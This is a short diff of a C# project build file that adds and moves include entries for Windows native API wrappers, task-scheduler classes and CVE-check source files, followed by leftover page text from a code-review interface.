<Compile Include="Native\Enums\WTS_INFO_CLASS.cs" />
|
||||
<Compile Include="Native\Iphlpapi.cs" />
|
||||
<Compile Include="Native\Kernel32.cs" />
|
||||
<Compile Include="Native\Netapi32.cs" />
|
||||
<Compile Include="Native\Ntdsapi.cs" />
|
||||
<Compile Include="Native\Psapi.cs" />
|
||||
<Compile Include="Native\Samlib.cs" />
|
||||
<Compile Include="Native\Secur32.cs" />
|
||||
<Compile Include="Native\Structs\LUID.cs" />
|
||||
<Compile Include="Native\Structs\LUID_AND_ATTRIBUTES.cs" />
|
||||
<Compile Include="Native\Structs\PRIVILEGE_SET.cs" />
|
||||
<Compile Include="Native\Structs\SID_AND_ATTRIBUTES.cs" />
|
||||
<Compile Include="Native\Structs\TOKEN_ELEVATION.cs" />
|
||||
<Compile Include="Native\Structs\TOKEN_MANDATORY_LABEL.cs" />
|
||||
<Compile Include="Native\Structs\TOKEN_PRIVILEGES.cs" />
|
||||
<Compile Include="Native\User32.cs" />
|
||||
<Compile Include="Native\Vaultcli.cs" />
|
||||
<Compile Include="Native\WlanApi.cs" />
|
||||
<Compile Include="Native\Wtsapi32.cs" />
|
||||
<Compile Include="TaskScheduler\AccessControlExtension.cs" />
|
||||
<Compile Include="TaskScheduler\Action.cs" />
|
||||
<Compile Include="TaskScheduler\ActionCollection.cs" />
|
||||
@ -483,9 +537,7 @@
|
||||
<Compile Include="TaskScheduler\ReflectionHelper.cs" />
|
||||
<Compile Include="TaskScheduler\Task.cs" />
|
||||
<Compile Include="TaskScheduler\TaskCollection.cs" />
|
||||
<Compile Include="TaskScheduler\TaskEditor\Native\ADVAPI32.cs" />
|
||||
<Compile Include="TaskScheduler\TaskEditor\Native\InteropUtil.cs" />
|
||||
<Compile Include="TaskScheduler\TaskEditor\Native\KERNEL32.cs" />
|
||||
<Compile Include="TaskScheduler\TaskEditor\Native\NetServerEnum.cs" />
|
||||
<Compile Include="TaskScheduler\TaskEditor\Native\NTDSAPI.cs" />
|
||||
<Compile Include="TaskScheduler\TaskEditor\Native\SYSTEMTIME.cs" />
|
||||
@ -523,7 +575,7 @@
|
||||
<Compile Include="Helpers\DomainHelper.cs" />
|
||||
<Compile Include="Helpers\CheckRunner.cs" />
|
||||
<Compile Include="Helpers\ReflectionHelper.cs" />
|
||||
<Compile Include="Helpers\RegistryHelper.cs" />
|
||||
<Compile Include="Helpers\Registry\RegistryHelper.cs" />
|
||||
<Compile Include="Helpers\Search\SearchHelper.cs" />
|
||||
<Compile Include="3rdParty\Watson\Msrc\CVE-2019-0836.cs" />
|
||||
<Compile Include="3rdParty\Watson\Msrc\CVE-2019-0841.cs" />
|
||||
@ -567,6 +619,8 @@
|
||||
<EmbeddedResource Include="Properties\Resources.ru.resx" />
|
||||
<EmbeddedResource Include="Properties\Resources.zh-CN.resx" />
|
||||
</ItemGroup>
|
||||
<ItemGroup />
|
||||
<ItemGroup>
|
||||
<Folder Include="Info\NetworkInfo\InternetSettings\" />
|
||||
</ItemGroup>
|
||||
<Import Project="$(MSBuildToolsPath)\Microsoft.CSharp.targets" />
|
||||
</Project>
|
Loading…
Reference in New Issue
Block a user